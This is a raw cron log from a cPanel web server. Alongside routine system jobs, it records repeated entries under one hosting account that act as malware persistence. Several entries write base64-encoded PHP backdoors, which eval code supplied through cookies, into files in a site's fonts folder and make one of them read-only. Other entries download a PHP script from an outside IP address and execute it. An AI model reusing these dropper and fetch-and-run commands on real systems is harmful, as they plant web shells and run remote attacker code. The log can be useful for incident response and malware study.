Sep  8 07:38:01 ip-184-168-122-23 CROND[5509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:38:01 ip-184-168-122-23 CROND[5510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:38:01 ip-184-168-122-23 CROND[5511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:38:01 ip-184-168-122-23 CROND[5514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:38:01 ip-184-168-122-23 CROND[5515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:39:02 ip-184-168-122-23 CROND[5694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:39:02 ip-184-168-122-23 CROND[5695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:39:02 ip-184-168-122-23 CROND[5697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:39:02 ip-184-168-122-23 CROND[5699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:39:02 ip-184-168-122-23 CROND[5698]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 07:40:01 ip-184-168-122-23 CROND[5851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:40:01 ip-184-168-122-23 CROND[5853]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:40:01 ip-184-168-122-23 CROND[5856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:40:01 ip-184-168-122-23 CROND[5857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:40:01 ip-184-168-122-23 CROND[5861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:40:01 ip-184-168-122-23 CROND[5863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:40:01 ip-184-168-122-23 CROND[5860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:40:01 ip-184-168-122-23 CROND[5864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:41:01 ip-184-168-122-23 CROND[5971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:41:01 ip-184-168-122-23 CROND[5973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:41:01 ip-184-168-122-23 CROND[5977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:41:01 ip-184-168-122-23 CROND[5978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:42:01 ip-184-168-122-23 CROND[6103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:42:01 ip-184-168-122-23 CROND[6104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:42:01 ip-184-168-122-23 CROND[6108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:42:01 ip-184-168-122-23 CROND[6109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:42:01 ip-184-168-122-23 CROND[6107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:43:01 ip-184-168-122-23 CROND[6216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:43:01 ip-184-168-122-23 CROND[6217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:43:01 ip-184-168-122-23 CROND[6218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:43:01 ip-184-168-122-23 CROND[6220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:44:02 ip-184-168-122-23 CROND[6413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:44:02 ip-184-168-122-23 CROND[6415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:44:02 ip-184-168-122-23 CROND[6417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:44:02 ip-184-168-122-23 CROND[6421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:44:02 ip-184-168-122-23 CROND[6422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:45:01 ip-184-168-122-23 CROND[6504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:45:01 ip-184-168-122-23 CROND[6506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:45:01 ip-184-168-122-23 CROND[6507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:45:01 ip-184-168-122-23 CROND[6509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:45:01 ip-184-168-122-23 CROND[6510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:45:01 ip-184-168-122-23 CROND[6508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:46:01 ip-184-168-122-23 CROND[6638]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:46:01 ip-184-168-122-23 CROND[6640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:46:01 ip-184-168-122-23 CROND[6642]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 07:46:01 ip-184-168-122-23 CROND[6643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:46:01 ip-184-168-122-23 CROND[6647]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 07:46:01 ip-184-168-122-23 CROND[6646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:46:01 ip-184-168-122-23 CROND[6649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:47:01 ip-184-168-122-23 CROND[6735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:47:01 ip-184-168-122-23 CROND[6737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:47:01 ip-184-168-122-23 CROND[6739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:47:01 ip-184-168-122-23 CROND[6738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:48:01 ip-184-168-122-23 CROND[6821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:48:01 ip-184-168-122-23 CROND[6824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:48:01 ip-184-168-122-23 CROND[6823]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:48:01 ip-184-168-122-23 CROND[6825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:48:01 ip-184-168-122-23 CROND[6826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:49:01 ip-184-168-122-23 CROND[7031]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 07:49:01 ip-184-168-122-23 CROND[7032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 07:49:01 ip-184-168-122-23 CROND[7033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:49:01 ip-184-168-122-23 CROND[7034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 07:49:01 ip-184-168-122-23 CROND[7037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:50:01 ip-184-168-122-23 CROND[7149]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 07:50:01 ip-184-168-122-23 CROND[7152]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:50:01 ip-184-168-122-23 CROND[7155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
